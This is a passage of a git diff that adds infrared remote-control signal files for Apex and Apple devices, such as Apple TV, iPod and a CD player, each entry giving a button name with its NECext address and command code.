00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 47 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir new file mode 100644 index 000000000..b9d1993e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 40 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 41 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 46 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 47 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir new file mode 100644 index 000000000..b60f2c0b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: kodak +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: pin +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: tvmode +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 56 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir new file mode 100644 index 000000000..4d0d786e4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: program +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: kodak.te +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: aff +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: skip.rev +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: i/p +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: skip.fwd +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir b/assets/resources/infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir new file mode 100644 index 000000000..f2d9364e6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 01 00 00 00 +# +name: PLAY_/_PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: PLAY/PAUSE_EXTENDED +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: SELECT_(PLAY/PAUSE) +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: RIGHT_(NEXT/FF) +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: LEFT_(PREV/REW) +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: UP_(+) +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: DOWN_(-) +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 2E 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Computer/238,135.ir b/assets/resources/infrared/_CSV-IRDB_/Apple/Computer/238,135.ir new file mode 100644 index 000000000..be63073e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apple/Computer/238,135.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 01 00 00 00 +# +name: MENY/EXIT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: PLAY/PAUSE/OK +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: PLAY_PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: >>_NEXT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: GER/SKIP_FWD +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: <<_PREVIOUS +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: NSTER/SKIP_REV +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: PIL_UPP/+ +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: PIL_NER/- +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir b/assets/resources/infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir new file mode 100644 index 000000000..5aa6c2aa4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir b/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir new file mode 100644 index 000000000..3a00b59a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: >>_NEXT_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 03 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 03 00 00 00 +# +name: VOL+_VOLUME_DOWN +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 07 00 00 00 +# +name: <<_PREV_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0B 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0B 00 00 00 +# +name: NEXT_CHAPTER +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0C 00 00 00 +# +name: PREV_CHAPTER +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0E 00 00 00 +# +name: PLAY/RESUME +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 10 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 11 00 00 00 +# +name: NEXT_PLAYLIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 14 00 00 00 +# +name: PREVIOUS_PLAYLIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 15 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 16 00 00 00 +# +name: VOL-_VOLUME_UP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 18 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1B 00 00 00 +# +name: >II_PLAY/PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir b/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir new file mode 100644 index 000000000..e8cf53d01 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: >>_NEXT +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: TRACK_FWD +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: <<_PREVIOUS +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: TRACK_RWD +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir new file mode 100644 index 000000000..b27553988 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 09 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 21 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 29 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: ams +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2B 00 00 00 +# +name: rev.play +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3A 00 00 00 +# +name: rotate_left +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 41 00 00 00 +# +name: rotate_right +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 42 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 56 00 00 00 +# +name: frame +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 61 00 00 00 +# +name: fts/fps +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 6C 00 00 00 +# +name: autoplay +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 78 00 00 00 +# +name: insert +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 79 00 00 00 +# +name: full +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 7D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 7E 00 00 00 +# +name: normal +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apple/iPod/238,135.ir b/assets/resources/infrared/_CSV-IRDB_/Apple/iPod/238,135.ir new file mode 100644 index 000000000..9e6a16f5b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apple/iPod/238,135.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 03 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 05 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 06 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir 